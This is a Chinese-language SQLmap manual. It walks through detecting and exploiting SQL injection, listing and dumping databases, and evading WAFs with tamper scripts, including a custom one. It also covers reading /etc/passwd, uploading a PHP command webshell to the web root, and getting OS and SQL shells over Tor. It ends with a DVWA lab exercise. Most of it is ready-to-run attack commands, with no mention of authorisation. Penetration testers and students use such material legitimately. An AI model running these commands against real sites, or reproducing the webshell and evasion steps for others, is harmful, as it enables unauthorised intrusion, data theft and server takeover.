SQLmap 操作手册
Author: Asterism && Deepseek Date: 2026.3.19
Lastest edited on 2026.3.19
目录
- SQLmap 操作手册
1. 简介与安装
SQLmap 是一款开源的自动化 SQL 注入检测与利用工具,支持多种数据库(MySQL, Oracle, PostgreSQL, MSSQL 等)和多种注入技术。
安装方式
- Kali Linux(预装):直接运行
sqlmap --version。 - pip 安装:
pip install sqlmap - GitHub 最新版:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python sqlmap.py
验证安装
sqlmap -h # 查看帮助
2. 基础用法:GET 型注入
适用于 URL 中包含参数的场景,如 http://example.com/page?id=1。
2.1 检测注入点
sqlmap -u "http://example.com/page?id=1" [--cookie="..."]
-u:指定目标 URL(带参数)。--cookie:若需要登录,可从浏览器复制 Cookie。
SQLmap 会自动检测参数是否存在注入,并列出检测到的注入类型。
2.2 获取数据库信息
# 列出所有数据库
sqlmap -u "http://example.com/page?id=1" --dbs
# 指定数据库,列出表
sqlmap -u "http://example.com/page?id=1" -D 数据库名 --tables
# 指定表,列出字段
sqlmap -u "http://example.com/page?id=1" -D 数据库名 -T 表名 --columns
# 导出指定字段数据
sqlmap -u "http://example.com/page?id=1" -D 数据库名 -T 表名 -C 字段1,字段2 --dump
2.3 常用选项速查
| 选项 | 说明 |
|---|---|
--batch | 默认自动选择,无需交互 |
-p 参数名 | 指定要测试的参数(默认测试所有) |
--threads=10 | 并发线程数(加快数据获取) |
--level 和 --risk | 调整检测深度与风险(见第4节) |
3. 处理 POST 型注入
当参数通过 POST 方法提交(如表单),可用以下两种方式。
3.1 使用 --data 参数
直接指定 POST 数据:
sqlmap -u "http://example.com/login" --data="username=admin&password=123&submit=1"
3.2 使用请求文件 -r
将完整的 HTTP 请求(包括头、Cookie、POST 数据)保存为文件,例如 post.req:
POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Cookie: PHPSESSID=abc123
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
username=admin&password=123
然后运行:
sqlmap -r post.req
4. 高级选项与优化
4.1 调整检测深度 (--level、--risk)
--level(1-5):值越大,测试的 HTTP 头部(如 Cookie、User-Agent)越多,Payload 更全面。
默认 1(仅测试参数);level=2 测试 Cookie;level=3 测试 User-Agent/Referer。--risk(1-3):值越大,使用更高风险的 Payload(可能造成数据修改或拒绝服务)。默认 1。
示例:全面扫描(level=3, risk=2)
sqlmap -u "http://example.com/page?id=1" --level=3 --risk=2
4.2 指定注入技术 (--technique)
默认 SQLmap 会尝试所有技术,可通过缩写指定:
B:Boolean-based blind(布尔盲注)E:Error-based(报错注入)U:Union query(联合查询)S:Stacked queries(堆叠查询)T:Time-based blind(时间盲注)Q:Inline queries(内联查询)
示例:仅使用联合查询和报错注入
sqlmap -u "http://example.com/page?id=1" --technique=UE
4.3 指定数据库类型 (--dbms)
若已知后端数据库,可指定以加速检测:
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
4.4 多线程与延时控制
--threads=10:并发线程(适用于非时间盲注场景)。--delay=2:每个请求间隔 2 秒(避免触发防护)。--timeout=30:请求超时时间。--retries=3:失败重试次数。
4.5 预测输出与缓存
--predict-output:在布尔盲注中预测结果,减少请求数(需配合--no-cast或--hex)。--no-cast:关闭类型转换(有时提高盲注效率)。--hex:使用十六进制传输数据(用于绕过编码过滤)。-s session.sqlite:将会话保存到文件,后续可恢复进度。
5. 绕过 WAF – Tamper 脚本
Tamper 脚本用于对 Payload 进行混淆,绕过输入过滤或 WAF。
5.1 常用 Tamper 脚本
| 脚本名 | 作用 |
|---|---|
space2comment | 用注释 /**/ 替换空格 |
between | 用 BETWEEN 替换比较符 |
apostrophemask | 用 UTF-8 全角引号替换单引号 |
charencode | URL 编码所有字符 |
base64encode | Base64 编码 Payload |
unionalltounion | 将 UNION ALL SELECT 转为 UNION SELECT |
5.2 组合使用 Tamper
sqlmap -u "http://example.com/page?id=1" --tamper="space2comment,between,charencode"
5.3 自定义 Tamper 脚本
可编写 Python 脚本放入 tamper/ 目录。示例(URL 编码所有字符):
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = ''.join('%%%x' % ord(c) for c in payload)
return payload
查看所有内置 Tamper:sqlmap --list-tampers
6. 高级利用功能
需要数据库用户具备高权限(如 MySQL 的 FILE 权限或 MSSQL 的 xp_cmdshell)。
6.1 文件系统读写 (--file-read / --file-write)
读取文件:
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"文件保存至本地
~/.sqlmap/output/目标主机/files/。写入文件:
# 准备本地文件 echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php # 上传到服务器 sqlmap -u "http://example.com/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"
6.2 获取系统 Shell (--os-shell)
尝试获取交互式操作系统命令行:
sqlmap -u "http://example.com/page?id=1" --os-shell
SQLmap 会自动上传 webshell 或利用数据库功能,成功后出现 os-shell> 提示符。
6.3 执行单条系统命令 (--os-cmd)
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
6.4 获取 SQL Shell (--sql-shell)
进入交互式 SQL 命令行,可执行任意 SQL 语句:
sqlmap -u "http://example.com/page?id=1" --sql-shell
7. 处理复杂环境
7.1 HTTP 认证
- Basic/Digest/NTLM 认证:
sqlmap -u "http://example.com/page?id=1" --auth-type=BASIC --auth-cred="username:password"
7.2 使用代理
- 通过 Burp Suite 调试:
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080" - 使用 Tor 匿名:
sqlmap -u "http://example.com/page?id=1" --tor --tor-type=SOCKS5 --check-tor
7.3 爬取网站 (--crawl)
从起始 URL 爬取页面并自动测试所有找到的输入点:
sqlmap -u "http://example.com" --crawl=3
3 为爬取深度。
8. 其他实用功能
8.1 检测与识别 WAF
- 检测是否存在 WAF:
--check-waf - 识别具体 WAF 产品:
--identify-waf
8.2 输出格式控制
--dump-format=CSV|HTML|SQLITE:指定导出数据的格式。
8.3 会话保存与恢复
-s session.sqlite:将会话保存至文件,后续使用-s恢复进度。--flush-session:清空会话缓存,重新测试。
9. 案例演练(以 DVWA 为例)
环境准备
- DVWA 安装并设置安全级别为 low。
- 数据库用户为 root(便于高级利用),Web 目录可写。
步骤 1:检测注入点(GET)
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low"
步骤 2:获取数据库信息
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --cookie="..." --dbs
sqlmap -u "..." -D dvwa --tables
sqlmap -u "..." -D dvwa -T users --columns
sqlmap -u "..." -D dvwa -T users -C user,password --dump
步骤 3:尝试文件读取
sqlmap -u "..." --file-read="/etc/passwd"
步骤 4:获取系统 Shell
sqlmap -u "..." --os-shell
根据提示选择语言(如 PHP),指定 Web 路径(如 /var/www/html/),成功后执行系统命令。
注意事项
- 定期查阅 SQLmap 官方文档(https://github.com/sqlmapproject/sqlmap/wiki)获取最新信息。